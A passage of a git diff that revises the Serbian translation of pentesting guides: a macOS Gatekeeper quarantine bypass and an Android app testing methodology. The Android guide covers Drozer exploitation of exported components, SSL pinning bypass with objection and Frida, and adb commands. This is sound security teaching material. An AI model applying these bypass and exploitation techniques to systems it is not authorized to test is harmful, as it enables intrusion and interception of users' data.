mkdir app touch app/test @@ -457,8 +457,8 @@ aa archive -d test/ -o test.aar # If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute ``` -Mogućnost kreiranja datoteke koja neće imati postavljen atribut karantina, **omogućila je zaobilaženje Gatekeeper-a.** Trik je bio **napraviti DMG datoteku aplikacije** koristeći AppleDouble nazivnu konvenciju (početi je sa `._`) i kreirati **vidljivu datoteku kao simboličku vezu ka ovoj skrivenoj** datoteci bez atributa karantina.\ -Kada se **dmg datoteka izvrši**, pošto nema atribut karantina, ona će **zaobići Gatekeeper.** +Mogućnost kreiranja datoteke koja neće imati postavljen atribut karantina omogućila je **obići Gatekeeper.** Trik je bio **napraviti DMG datoteku aplikacije** koristeći AppleDouble nazivnu konvenciju (početi je sa `._`) i kreirati **vidljivu datoteku kao simboličku vezu ka ovoj skrivenoj** datoteci bez atributa karantina.\ +Kada se **dmg datoteka izvrši**, pošto nema atribut karantina, ona će **obići Gatekeeper.** ```bash # Create an app bundle with the backdoor an call it app.app @@ -480,11 +480,11 @@ Zaobilaženje Gatekeeper-a koje je ispravljeno u macOS Sonoma 14.0 omogućilo je ### [CVE-2024-27853] -Zaobilaženje Gatekeeper-a u macOS 14.4 (objavljeno mart 2024) proizašlo iz `libarchive` obrade malicioznih ZIP-ova omogućilo je aplikacijama da izbegnu procenu. Ažurirajte na 14.4 ili noviji gde je Apple rešio problem. +Zaobilaženje Gatekeeper-a u macOS 14.4 (objavljeno mart 2024) proizašlo iz `libarchive` obrade zlonamernih ZIP-ova omogućilo je aplikacijama da izbegnu procenu. Ažurirajte na 14.4 ili noviji gde je Apple rešio problem. ### Treće strane dekompresori koji pogrešno propagiraju karantin (2023–2024) -Nekoliko ranjivosti u popularnim alatima za ekstrakciju (npr. The Unarchiver) uzrokovalo je da datoteke ekstrahovane iz arhiva ne sadrže `com.apple.quarantine` xattr, omogućavajući prilike za zaobilaženje Gatekeeper-a. Uvek se oslanjajte na macOS Archive Utility ili ispravljene alate prilikom testiranja, i validirajte xattrs nakon ekstrakcije. +Nekoliko ranjivosti u popularnim alatima za ekstrakciju (npr. The Unarchiver) uzrokovalo je da datoteke ekstrahovane iz arhiva ne sadrže `com.apple.quarantine` xattr, omogućavajući prilike za zaobilaženje Gatekeeper-a. Uvek se oslanjajte na macOS Archive Utility ili ispravljene alate prilikom testiranja, i proverite xattrs nakon ekstrakcije. ### uchg (iz ove [prezentacije](https://codeblue.jp/2023/result/pdf/cb23-bypassing-macos-security-and-privacy-mechanisms-from-gatekeeper-to-system-integrity-protection-by-koh-nakagawa.pdf)) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 79c866de5..7100b25cd 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -13,19 +13,19 @@ android-applications-basics.md ## ADB (Android Debug Bridge) Ovo je glavni alat koji vam je potreban za povezivanje sa android uređajem (emuliranim ili fizičkim).\ -**ADB** omogućava kontrolu uređaja preko **USB** ili **Mreže** sa računara. Ova alatka omogućava **kopiranje** fajlova u oba pravca, **instalaciju** i **deinstalaciju** aplikacija, **izvršavanje** shell komandi, **pravljenje rezervnih kopija** podataka, **čitanje** logova, među ostalim funkcijama. +**ADB** omogućava kontrolu uređaja preko **USB** ili **mreže** sa računara. Ova alatka omogućava **kopiranje** fajlova u oba pravca, **instalaciju** i **deinstalaciju** aplikacija, **izvršavanje** shell komandi, **pravljenje rezervnih kopija** podataka, **čitanje** logova, među ostalim funkcijama. Pogledajte sledeću listu [**ADB Komandi**](adb-commands.md) da biste naučili kako koristiti adb. ## Smali -Ponekad je zanimljivo **modifikovati kod aplikacije** kako biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili oznakama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i rekompilirati ga.\ -[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i rekompilirati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**. +Ponekad je zanimljivo **modifikovati kod aplikacije** kako biste pristupili **skrivenim informacijama** (možda dobro obfuskovanim lozinkama ili zastavicama). Tada bi moglo biti zanimljivo dekompilirati apk, modifikovati kod i ponovo ga kompajlirati.\ +[**U ovom tutorijalu** možete **naučiti kako dekompilirati APK, modifikovati Smali kod i ponovo kompajlirati APK** sa novom funkcionalnošću](smali-changes.md). Ovo može biti veoma korisno kao **alternativa za nekoliko testova tokom dinamičke analize** koji će biti predstavljeni. Tada, **uvek imajte na umu ovu mogućnost**. ## Druge zanimljive trikove - [Lažiranje vaše lokacije u Play Store-u](spoofing-your-location-in-play-store.md) -- [Shizuku Privileged API (ADB-bazirani pristup bez root-a)](shizuku-privileged-api.md) +- [Shizuku Privileged API (ADB-bazirani pristup bez root privilegija)](shizuku-privileged-api.md) - [Iskorišćavanje nesigurnih mehanizama ažuriranja unutar aplikacije](insecure-in-app-update-rce.md) - [Zloupotreba usluga pristupačnosti (Android RAT)](accessibility-services-abuse.md) - **Preuzmite APK-ove**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) @@ -77,13 +77,13 @@ Obratite posebnu pažnju na **firebase URL-ove** i proverite da li je loše konf **Ranjivosti** identifikovane iz **Manifest.xml** uključuju: -- **Debuggable aplikacije**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ datoteci predstavljaju rizik jer omogućavaju veze koje mogu dovesti do eksploatacije. Za dalje razumevanje kako iskoristiti debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju. -- **Podešavanja rezervne kopije**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje se bave osetljivim informacijama kako bi se sprečile neovlašćene rezervne kopije podataka putem adb, posebno kada je omogućeno usb debagovanje. +- **Debuggable aplikacije**: Aplikacije postavljene kao debuggable (`debuggable="true"`) u _Manifest.xml_ datoteci predstavljaju rizik jer omogućavaju veze koje mogu dovesti do eksploatacije. Za dalju pomoć o tome kako iskoristiti debuggable aplikacije, pogledajte tutorijal o pronalaženju i eksploataciji debuggable aplikacija na uređaju. +- **Podešavanja rezervne kopije**: Atribut `android:allowBackup="false"` treba eksplicitno postaviti za aplikacije koje se bave osetljivim informacijama kako bi se sprečile neovlašćene rezervne kopije podataka putem adb, posebno kada je usb debugging omogućen. - **Mrežna sigurnost**: Prilagođene konfiguracije mrežne sigurnosti (`android:networkSecurityConfig="@xml/network_security_config"`) u _res/xml/_ mogu specificirati sigurnosne detalje kao što su pinovi sertifikata i podešavanja HTTP saobraćaja. Primer je omogućavanje HTTP saobraćaja za određene domene. - **Izvezene aktivnosti i servisi**: Identifikacija izvezenih aktivnosti i servisa u manifestu može istaknuti komponente koje bi mogle biti zloupotrebljene. Dalja analiza tokom dinamičkog testiranja može otkriti kako iskoristiti ove komponente. - **Content Providers i FileProviders**: Izloženi content providers mogli bi omogućiti neovlašćen pristup ili modifikaciju podataka. Konfiguracija FileProviders takođe treba biti pažljivo ispitana. - **Broadcast Receivers i URL sheme**: Ove komponente se mogu iskoristiti za eksploataciju, sa posebnim naglaskom na to kako se URL sheme upravljaju za ranjivosti unosa. -- **SDK verzije**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane Android verzije, ističući važnost ne podržavanja zastarelih, ranjivih Android verzija iz sigurnosnih razloga. +- **SDK verzije**: Atributi `minSdkVersion`, `targetSDKVersion` i `maxSdkVersion` ukazuju na podržane Android verzije, naglašavajući važnost ne podržavanja zastarelih, ranjivih Android verzija iz sigurnosnih razloga. Iz **strings.xml** datoteke, osetljive informacije kao što su API ključevi, prilagođene sheme i druge beleške programera mogu se otkriti, naglašavajući potrebu za pažljivim pregledom ovih resursa. @@ -98,9 +98,9 @@ Pronađite više informacija u: tapjacking.md {{#endref}} -### Otimanje zadatka +### Preuzimanje zadataka -**Aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na otimanje zadatka. To znači da se **aplikacija** može instalirati i ako se pokrene pre prave aplikacije, mogla bi **oteti zadatak prave aplikacije** (tako da korisnik interaguje sa **malicioznom aplikacijom misleći da koristi pravu**). +**Aktivnost** sa **`launchMode`** postavljenim na **`singleTask` bez definisanog `taskAffinity`** je ranjiva na preuzimanje zadataka. To znači da se **aplikacija** može instalirati i ako se pokrene pre prave aplikacije, mogla bi **preuzeti zadatak prave aplikacije** (tako da korisnik interaguje sa **malicioznom aplikacijom misleći da koristi pravu**). Više informacija u: @@ -140,7 +140,7 @@ Eksterno skladište može biti **pristupano** u `/storage/emulated/0`, `/sdcard` **Osetljivi podaci pohranjeni u čistom tekstu** -- **Deljene preferencije**: Android omogućava svakoj aplikaciji da lako sačuva xml datoteke na putanji `/data/data//shared_prefs/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli. +- **Deljene postavke**: Android omogućava svakoj aplikaciji da lako sačuva xml datoteke na putanji `/data/data//shared_prefs/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli. - **Baze podataka**: Android omogućava svakoj aplikaciji da lako sačuva sqlite baze podataka na putanji `/data/data//databases/` i ponekad je moguće pronaći osetljive informacije u čistom tekstu u toj fascikli. ### Slomljeni TLS @@ -158,18 +158,18 @@ Dobar način da se ovo testira je da pokušate da uhvatite saobraćaj koristeći **Loši Procesi Upravljanja Ključevima** -Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i šifruju ih ključem koji je hardkodiran/predvidljiv u kodu. Ovo ne bi trebalo da se radi jer bi neki proces obrnute inženjeringa mogao omogućiti napadačima da izvuku poverljive informacije. +Neki programeri čuvaju osetljive podatke u lokalnoj memoriji i šifruju ih sa ključem koji je hardkodiran/predvidljiv u kodu. Ovo ne bi trebalo da se radi jer bi neki proces obrnute inženjeringa mogao omogućiti napadačima da izvuku poverljive informacije. **Korišćenje Nesigurnih i/ili Zastarelih Algoritama** -Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hash-ovi** koriste za čuvanje lozinki, na primer, treba koristiti hash-ove otporne na brute-force sa solju. +Programeri ne bi trebali koristiti **zastarele algoritme** za obavljanje **provera** autorizacije, **čuvanje** ili **slanje** podataka. Neki od ovih algoritama su: RC4, MD4, MD5, SHA1... Ako se **hash-ovi** koriste za čuvanje lozinki, na primer, treba koristiti hash-ove otporne na **brute-force** sa solju. ### Ostale provere - Preporučuje se da se **obfuskira APK** kako bi se otežao rad obrnute inženjeringa napadačima. - Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da izvrši **svoje provere da vidi da li je mobilni uređaj root-ovan** i da deluje u skladu s tim. - Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da proveri da li se koristi **emulator**. -- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da **proveri svoju integritet pre izvršavanja** da bi proverila da li je modifikovana. +- Ako je aplikacija osetljiva (kao što su bankarske aplikacije), trebala bi da **proveri svoju integritet pre izvršavanja** kako bi proverila da li je modifikovana. - Koristite [**APKiD**](https://github.com/rednaga/APKiD) da proverite koji je kompajler/paker/obfuskator korišćen za izgradnju APK-a. ### React Native Aplikacija @@ -190,7 +190,7 @@ Pročitajte sledeću stranicu da biste saznali kako lako pristupiti C# kodu xama ### Superpakovane Aplikacije -Prema ovom [**blog postu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpakovane su Meta algoritam koji kompresuje sadržaj aplikacije u jedan fajl. Blog govori o mogućnosti kreiranja aplikacije koja dekompresuje ovakve aplikacije... i bržem načinu koji uključuje **izvršavanje aplikacije i prikupljanje dekompresovanih fajlova iz datotečnog sistema.** +Prema ovom [**blog postu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpakovani je Meta algoritam koji kompresuje sadržaj aplikacije u jedan fajl. Blog govori o mogućnosti kreiranja aplikacije koja dekompresuje ovakve aplikacije... i bržem načinu koji uključuje **izvršavanje aplikacije i prikupljanje dekompresovanih fajlova iz datotečnog sistema.** ### Automatizovana Staticka Analiza Koda @@ -250,17 +250,17 @@ Zahvaljujući ADB konekciji možete koristiti **Drozer** i **Frida** unutar emul avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, morate napraviti nalog. _Preporučuje se da **preuzmete** verziju **SA** _**VirtualBox** da biste izbegli potencijalne greške._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, morate napraviti nalog. _Preporučuje se da **preuzmete** verziju **SA**_ _**VirtualBox** da biste izbegli potencijalne greške._) - [**Nox**](https://es.bignox.com) (Besplatno, ali ne podržava Frida ili Drozer). > [!TIP] -> Kada kreirate novi emulator na bilo kojoj platformi, zapamtite da što je veći ekran, emulator će sporije raditi. Dakle, odaberite male ekrane ako je moguće. +> Kada kreirate novi emulator na bilo kojoj platformi, zapamtite da što je veći ekran, emulator će sporije raditi. Dakle, izaberite male ekrane ako je moguće. Da biste **instalirali google usluge** (kao što je AppStore) u Genymotion-u, potrebno je da kliknete na crveno označeno dugme na sledećoj slici: ![](<../../images/image (277).png>) -Takođe, primetite da u **konfiguraciji Android VM u Genymotion-u** možete odabrati **Bridge Network mode** (to će biti korisno ako se povezujete na Android VM iz različitog VM-a sa alatima). +Takođe, primetite da u **konfiguraciji Android VM u Genymotion-u** možete izabrati **Bridge Network mode** (ovo će biti korisno ako ćete se povezivati na Android VM iz različitog VM-a sa alatima). #### Koristite fizički uređaj @@ -272,7 +272,7 @@ Morate aktivirati **debugging** opcije i bilo bi dobro ako možete **root-ovati* 4. Pritisnite **Broj izrade** 7 puta. 5. Vratite se i naći ćete **Opcije za programere**. -> Kada instalirate aplikaciju, prva stvar koju treba da uradite je da je isprobate i istražite šta radi, kako funkcioniše i da se upoznate s njom.\ +> Kada instalirate aplikaciju, prva stvar koju treba da uradite je da je isprobate i istražite šta radi, kako funkcioniše i da se upoznate sa njom.\ > Preporučujem da **izvršite ovu inicijalnu dinamičku analizu koristeći MobSF dinamičku analizu + pidcat**, tako da ćemo moći da **naučimo kako aplikacija funkcioniše** dok MobSF **prikuplja** mnogo **zanimljivih** **podataka** koje možete pregledati kasnije. ### Neplanirano Otkriće Podataka @@ -282,35 +282,35 @@ Morate aktivirati **debugging** opcije i bilo bi dobro ako možete **root-ovati* Programeri bi trebali biti oprezni da ne izlažu **informacije za debagovanje** javno, jer to može dovesti do curenja osetljivih podataka. Alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` se preporučuju za praćenje logova aplikacije kako bi se identifikovale i zaštitile osetljive informacije. **Pidcat** je omiljen zbog svoje jednostavnosti korišćenja i čitljivosti. > [!WARNING] -> Imajte na umu da od **novijih verzija Android-a 4.0**, **aplikacije mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\ +> Imajte na umu da od **novijih verzija od Android 4.0**, **aplikacije mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\ > U svakom slučaju, i dalje se preporučuje da **ne logujete osetljive informacije**. -**Keširanje Copy/Paste Bafer-a** +**Keširanje Copy/Paste Bufe** -Androidov **okvir zasnovan na clipboard-u** omogućava funkcionalnost kopiranja i lepljenja u aplikacijama, ali predstavlja rizik jer **druge aplikacije** mogu **pristupiti** clipboard-u, potencijalno izlažući osetljive podatke. Ključno je **onemogućiti copy/paste** funkcije za osetljive delove aplikacije, kao što su podaci o kreditnim karticama, kako bi se sprečila curenja podataka. +Androidov **clipboard-based** okvir omogućava funkcionalnost kopiranja i lepljenja u aplikacijama, ali predstavlja rizik jer **druge aplikacije** mogu **pristupiti** clipboard-u, potencijalno izlažući osetljive podatke. Ključno je **onemogućiti copy/paste** funkcije za osetljive delove aplikacije, kao što su podaci o kreditnim karticama, kako bi se sprečila curenja podataka. **Logovi Rušenja** -Ako aplikacija **pada** i **čuva logove**, ovi logovi mogu pomoći napadačima, posebno kada aplikaciju nije moguće obrnuti inženjeringom. Da biste umanjili ovaj rizik, izbegavajte logovanje prilikom rušenja, a ako logovi moraju biti preneseni preko mreže, osigurajte da se šalju putem SSL kanala radi sigurnosti. +Ako aplikacija **pada** i **čuva logove**, ovi logovi mogu pomoći napadačima, posebno kada aplikaciju nije moguće obrnuti inženjering. Da biste umanjili ovaj rizik, izbegavajte logovanje prilikom rušenja, a ako logovi moraju biti preneseni preko mreže, osigurajte da se šalju putem SSL kanala radi sigurnosti. Kao pentester, **pokušajte da pogledate ove logove**. **Podaci o Analitici Poslati Trećim Stranama** -Aplikacije često integrišu usluge poput Google Adsense, što može nenamerno **procuriti osetljive podatke** zbog nepravilne implementacije od strane programera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **presretnete saobraćaj aplikacije** i proverite da li se šalju bilo kakve osetljive informacije trećim stranama. +Aplikacije često integrišu usluge kao što je Google Adsense, što može nenamerno **procuriti osetljive podatke** zbog nepravilne implementacije od strane programera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **presretnete saobraćaj aplikacije** i proverite da li se šalju bilo kakve osetljive informacije trećim stranama. ### SQLite DBs -Većina aplikacija će koristiti **internu SQLite baze podataka** za čuvanje informacija. Tokom pentesta obratite pažnju na **baze podataka** koje su kreirane, imena **tabela** i **kolona** i sve **podatke** sačuvane jer biste mogli pronaći **osetljive informacije** (što bi bila ranjivost).\ +Većina aplikacija će koristiti **internu SQLite baze podataka** za čuvanje informacija. Tokom pentesta obratite pažnju na **baze podataka** koje su kreirane, imena **tabela** i **kolona** i sve **podatke** koji su sačuvani jer biste mogli pronaći **osetljive informacije** (što bi bila ranjivost).\ Baze podataka bi trebale biti locirane u `/data/data/the.package.name/databases` kao `/data/data/com.mwr.example.sieve/databases`. -Ako baza podataka čuva poverljive informacije i je **šifrovana**, ali možete **pronaći** **lozinku** unutar aplikacije, to je i dalje **ranjivost**. +Ako baza podataka čuva poverljive informacije i je **šifrovana** ali možete **pronaći** **lozinku** unutar aplikacije, to je i dalje **ranjivost**. Enumerišite tabele koristeći `.tables` i enumerišite kolone tabela koristeći `.schema `. ### Drozer (Eksploatacija Aktivnosti, Pružatelja Sadržaja i Usluga) -Iz [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** vam omogućava da **preuzmete ulogu Android aplikacije** i komunicirate sa drugim aplikacijama. Može učiniti **sve što instalirana aplikacija može učiniti**, kao što je korišćenje Android-ovog mehanizma međuprocesne komunikacije (IPC) i interakcija sa osnovnim operativnim sistemom.\ +Iz [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** vam omogućava da **preuzmete ulogu Android aplikacije** i interagujete sa drugim aplikacijama. Može raditi **sve što instalirana aplikacija može raditi**, kao što je korišćenje Android-ovog mehanizma međuprocesne komunikacije (IPC) i interakcija sa osnovnim operativnim sistemom.\ Drozer je koristan alat za **eksploataciju eksportovanih aktivnosti, eksportovanih usluga i Pružatelja Sadržaja** kao što ćete naučiti u sledećim sekcijama. ### Eksploatacija eksportovanih Aktivnosti @@ -322,7 +322,7 @@ Takođe zapamtite da kod aktivnosti počinje u **`onCreate`** metodi. Kada je Aktivnost eksportovana, možete pozvati njen ekran iz spoljne aplikacije. Stoga, ako je aktivnost sa **osetljivim informacijama** **eksportovana**, mogli biste **obići** mehanizme **autentifikacije** **da biste joj pristupili.** -[**Naučite kako da eksploatišete eksportovane aktivnosti sa Drozer-om.**](drozer-tutorial/index.html#activities) +[**Saznajte kako da eksploatišete eksportovane aktivnosti sa Drozer-om.**](drozer-tutorial/index.html#activities) Takođe možete pokrenuti eksportovanu aktivnost iz adb: @@ -338,36 +338,36 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity **Curjenje osetljivih informacija** -**Aktivnosti takođe mogu vraćati rezultate**. Ako uspete da pronađete izvezenu i nezaštićenu aktivnost koja poziva metodu **`setResult`** i **vraća osetljive informacije**, dolazi do curenja osetljivih informacija. +**Aktivnosti takođe mogu vraćati rezultate**. Ako uspete da pronađete izvezenu i nezaštićenu aktivnost koja poziva metodu **`setResult`** i **vraća osetljive informacije**, došlo je do curenja osetljivih informacija. #### Tapjacking Ako tapjacking nije sprečen, mogli biste zloupotrebiti izvezenu aktivnost da naterate **korisnika da izvrši neočekivane radnje**. Za više informacija o [**šta je Tapjacking pratite link**](#tapjacking). -### Iskorišćavanje Content Providers - Pristup i manipulacija osetljivim informacijama +### Eksploatacija Content Providers - Pristup i manipulacija osetljivim informacijama [**Pročitajte ovo ako želite da osvežite šta je Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers se osnovno koriste za **deljenje podataka**. Ako aplikacija ima dostupne content providere, možda ćete moći da **izvučete osetljive** podatke iz njih. Takođe je zanimljivo testirati moguće **SQL injekcije** i **Path Traversals** jer bi mogli biti ranjivi. +Content providers se osnovno koriste za **deljenje podataka**. Ako aplikacija ima dostupne content providers, možda ćete moći da **izvučete osetljive** podatke iz njih. Takođe je zanimljivo testirati moguće **SQL injekcije** i **Path Traversals** jer bi mogli biti ranjivi. -[**Saznajte kako da iskoristite Content Providers sa Drozer-om.**](drozer-tutorial/index.html#content-providers) +[**Saznajte kako da eksploatišete Content Providers sa Drozer-om.**](drozer-tutorial/index.html#content-providers) -### **Iskorišćavanje Servisa** +### **Eksploatacija Servisa** [**Pročitajte ovo ako želite da osvežite šta je Servis.**](android-applications-basics.md#services)\ Zapamtite da akcije Servisa počinju u metodi `onStartCommand`. Servis je osnovno nešto što **može primati podatke**, **obrađivati** ih i **vraćati** (ili ne) odgovor. Dakle, ako aplikacija izveze neke servise, trebali biste **proveriti** **kod** da biste razumeli šta radi i **testirati** ga **dinamički** za izvlačenje poverljivih informacija, zaobilaženje mera autentifikacije...\ -[**Saznajte kako da iskoristite Servise sa Drozer-om.**](drozer-tutorial/index.html#services) +[**Saznajte kako da eksploatišete Servise sa Drozer-om.**](drozer-tutorial/index.html#services) -### **Iskorišćavanje Broadcast Receivers** +### **Eksploatacija Broadcast Receivers** [**Pročitajte ovo ako želite da osvežite šta je Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ Zapamtite da akcije Broadcast Receiver-a počinju u metodi `onReceive`. Broadcast receiver će čekati na određenu vrstu poruke. U zavisnosti od toga kako receiver obrađuje poruku, mogao bi biti ranjiv.\ -[**Saznajte kako da iskoristite Broadcast Receivers sa Drozer-om.**](#exploiting-broadcast-receivers) +[**Saznajte kako da eksploatišete Broadcast Receivers sa Drozer-om.**](#exploiting-broadcast-receivers) -### **Iskorišćavanje Schemes / Deep links** +### **Eksploatacija Schemes / Deep links** Možete ručno tražiti deep links, koristeći alate kao što je MobSF ili skripte poput [ove](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ Možete **otvoriti** deklarisani **scheme** koristeći **adb** ili **pregledač**: @@ -400,10 +400,10 @@ Imajte na umu da ako pronađete ispravne krajnje tačke unutar aplikacije, možd Jedan [zanimljiv izveštaj o bug bounty](https://hackerone.com/reports/855618) o linkovima (_/.well-known/assetlinks.json_). -### Inspekcija i verifikacija transportnog sloja +### Neuspeh inspekcije i verifikacije transportnog sloja - **Sertifikati se ne proveravaju uvek pravilno** od strane Android aplikacija. Uobičajeno je da ove aplikacije zanemaruju upozorenja i prihvataju samopotpisane sertifikate ili, u nekim slučajevima, vraćaju se na korišćenje HTTP veza. -- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima "čoveka u sredini" (MITM), omogućavajući napadačima da dekriptuju podatke. +- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima čoveka u sredini (MITM), omogućavajući napadačima da dekriptuju podatke. - **Curjenje privatnih informacija** je rizik kada aplikacije autentifikuju koristeći sigurne kanale, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, kao što su kolačići sesije ili korisnički podaci, od presretanja od strane zlonamernih entiteta. #### Verifikacija sertifikata @@ -412,25 +412,25 @@ Fokusiraćemo se na **verifikaciju sertifikata**. Integritet sertifikata servera #### SSL Pinning -SSL Pinning je mera sigurnosti gde aplikacija proverava sertifikat servera u odnosu na poznatu kopiju smeštenu unutar same aplikacije. Ova metoda je ključna za sprečavanje MITM napada. Implementacija SSL Pinninga se snažno preporučuje za aplikacije koje obrađuju osetljive informacije. +SSL Pinning je mera sigurnosti gde aplikacija proverava sertifikat servera u odnosu na poznatu kopiju smeštenu unutar same aplikacije. Ova metoda je ključna za sprečavanje MITM napada. Implementacija SSL Pinning-a se snažno preporučuje za aplikacije koje obrađuju osetljive informacije. #### Inspekcija saobraćaja -Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instalacije ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instaliranja ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Aplikacije koje ciljaju **API nivo 24 i više** zahtevaju izmene u Network Security Config da bi prihvatile CA sertifikat proksija. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni Network Security Config, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md). +Aplikacije koje ciljaju **API nivo 24 i više** zahtevaju izmene u Network Security Config-u kako bi prihvatile CA sertifikat proksija. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni Network Security Config-a, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md). Ako se koristi **Flutter**, potrebno je da pratite uputstva na [**ovoj stranici**](flutter.md). To je zato što, samo dodavanje sertifikata u skladište neće raditi jer Flutter ima svoju listu važećih CA. -#### Zaobilaženje SSL Pinninga +#### Zaobilaženje SSL Pinning-a Kada je SSL Pinning implementiran, zaobilaženje postaje neophodno za inspekciju HTTPS saobraćaja. Različite metode su dostupne za ovu svrhu: -- Automatski **modifikujte** **apk** da **zaobiđe** SSLPinning sa [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Najveća prednost ove opcije je što vam neće biti potrebna root privilegija da zaobiđete SSL Pinning, ali ćete morati da obrišete aplikaciju i ponovo instalirate novu, a to neće uvek raditi. +- Automatski **modifikujte** **apk** da **zaobiđe** SSLPinning sa [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Najveća prednost ove opcije je što vam neće biti potrebna root privilegija da zaobiđete SSL Pinning, ali ćete morati da obrišete aplikaciju i ponovo instalirate novu, a to ne mora uvek da funkcioniše. - Možete koristiti **Frida** (o kojoj se govori u nastavku) da zaobiđete ovu zaštitu. Ovde imate vodič za korišćenje Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) - Takođe možete pokušati da **automatski zaobiđete SSL Pinning** koristeći [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` - Takođe možete pokušati da **automatski zaobiđete SSL Pinning** koristeći **MobSF dinamičku analizu** (objašnjeno u nastavku) -- Ako i dalje mislite da postoji neki saobraćaj koji ne hvata, možete pokušati da **prosledite saobraćaj do burp-a koristeći iptables**. Pročitajte ovaj blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Ako i dalje mislite da postoji neki saobraćaj koji ne presrećete, možete pokušati da **prosledite saobraćaj do burp-a koristeći iptables**. Pročitajte ovaj blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Traženje uobičajenih web ranjivosti @@ -438,7 +438,7 @@ Važno je takođe tražiti uobičajene web ranjivosti unutar aplikacije. Detaljn ### Frida -[Frida](https://www.frida.re) je alat za dinamičku instrumentaciju za programere, inženjere obrnutog inženjeringa i istraživače sigurnosti.\ +[Frida](https://www.frida.re) je alat za dinamičku instrumentaciju za programere, inženjere obrnutog inženjeringa i istraživače bezbednosti.\ **Možete pristupiti pokrenutim aplikacijama i povezati metode u vreme izvođenja da promenite ponašanje, promenite vrednosti, izdvojite vrednosti, pokrenete različit kod...**\ Ako želite da testirate Android aplikacije, morate znati kako koristiti 